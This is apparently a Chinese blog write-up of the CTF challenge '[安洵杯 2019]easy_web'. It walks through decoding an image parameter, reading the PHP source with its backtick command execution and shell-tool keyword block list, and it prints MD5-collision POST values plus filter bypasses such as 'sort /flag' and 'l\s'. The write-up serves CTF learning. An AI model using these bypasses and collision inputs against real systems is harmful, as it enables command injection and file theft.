当前位置:网站首页>[安洵杯 2019]easy_web
[安洵杯 2019]easy_web
2022-08-02 19:20:00 【清风--】
考察知识点:
1.解密的敏感度(或者说工具的强度)
2.md5强比较的累积
3.读取文件的函数累积
解题:
进入页面直接burp抓包:

有一个img=TXpVek5UTTFNbVUzTURabE5qYz0,我们直接放到脚本里跑一下:

脚本很好写的,就贴合自己喜欢的方式写一个就行。解码出来发现是555.png.因为这里url的特性,所以这里应该只是进行了三次编码:
hex->base64->base64
那我们试着读取一下页面源码:

然后贴到img里面

解码一下
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixiï½ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>关于cmd过滤了很多,并且进入的条件还有一个
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
简单,把家底炒出来:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
姿势一:
sort /flag

这个姿势不足的就是不知道flag名字,得猜
姿势二:
l\s

这个方法绕过很好用,也可以知道flag名字

边栏推荐
猜你喜欢

LSB利器-zsteg

el-tree渲染大量数据的解决方案(不通过懒加载)

7.25 - 每日一题 - 408

服务器Centos7 静默安装Oracle Database 12.2

治疗 | 如何识别和处理消极想法

【C语言刷题】Leetcode203——移除链表元素

Brain-computer interface 003 | Musk said that he has realized a virtual self-dialogue with the cloud, and related concept shares have risen sharply

栈、队列和数组

7月29-31 | APACHECON ASIA 2022

分布式事务
随机推荐
MySQL 事件调度
脑机接口003 | 马斯克称已实现与云端的虚拟自己对话,相关概念股份大涨
一些不错的博主
MaxCompute 近期发布上线的版本的 SQL 引擎新功能参数化视图有什么优势?
Geoserver+mysql+openlayers
JVM内存和垃圾回收-03.运行时数据区概述及线程
Mysql基础篇(视图)
Nature Microbiology综述:聚焦藻际--浮游植物和细菌互作的生态界面
动态生成不同类型的订单,请问如何存放到Mongodb数据库?
What are the useful real-time network traffic monitoring software
JVM内存和垃圾回收-05.虚拟机栈
7.25 - 每日一题 - 408
Three.js入门
流量分析第一题
VMware虚拟机无法上网
入职对接-hm项目
技术分享 | Apache Linkis 快速集成网页IDE工具 Scriptis
B站HR对面试者声称其核心用户都是生活中的Loser
淘宝|蚂蚁|菜鸟|盒马|嘀嘀|饿了么面经(已拿多个offer)
元旦快乐(2022)